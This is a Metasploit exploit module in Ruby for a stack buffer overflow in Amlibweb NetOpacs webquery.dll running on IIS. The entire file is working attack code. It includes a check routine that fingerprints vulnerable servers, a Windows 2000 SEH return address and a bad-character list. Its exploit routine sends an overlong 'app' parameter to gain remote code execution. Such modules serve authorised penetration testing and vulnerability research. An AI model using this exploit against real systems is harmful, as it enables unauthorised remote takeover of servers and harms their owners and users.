##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Amlibweb NetOpacs webquery.dll Stack Buffer Overflow',
      'Description'  => %q{
          This module exploits a stack buffer overflow in Amlib's Amlibweb
        Library Management System (NetOpacs). The webquery.dll
        API is available through IIS requests. By specifying
        an overly long string to the 'app' parameter, SeH can be
        reliably overwritten allowing for arbitrary remote code execution.
        In addition, it is possible to overwrite EIP by specifying
        an arbitrary parameter name with an '=' terminator.
      },
      'Author'       => [ 'aushack' ],
      'Arch'         => [ ARCH_X86 ],
      'License'      => MSF_LICENSE,
      'References'   =>
        [
          [ 'OSVDB', '66814' ],
          [ 'BID', '42293' ],
          [ 'URL', 'http://www.aushack.com/advisories/' ],
        ],
      'Privileged'		=> true,
      'DefaultOptions'	=>
        {
          'EXITFUNC'	=> 'thread',
          'AllowWin32SEH' => true
        },
      'Payload'		=>
        {
          #'Space'			=> 600,
          'BadChars' 		=> "\x00\x0a\x0d\x20%=?\x2f\x5c\x3a\x3d\@;!$",
          'EncoderType'		=> Msf::Encoder::Type::AlphanumMixed,
          'DisableNops'  		=>  'True',
          'StackAdjustment' 	=> -3500,
        },
      'Platform' => ['win'],
      'Targets'  =>
        [
          # aushack - Tested OK 20100803 w2k IIS5
          [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5
          # [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only.
        ],
      'DisclosureDate' => '2010-08-03', #0day
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
      ])
  end

  def check
    connect

    rand = Rex::Text.rand_text_alpha(10)

    sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n")
    res = sock.get_once
    disconnect

    if (res.to_s =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
      if ($1 == rand)
        return Exploit::CheckCode::Vulnerable
      end
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    connect
    seh = generate_seh_payload(target.ret)

    buffer = Rex::Text.rand_text_alphanumeric(3028) + seh
    sploit = "GET /amlibweb/webquery.dll?app="  + buffer + " HTTP/1.0\r\n"
    sock.put(sploit + "\r\n\r\n")

    handler
    disconnect
  end
end
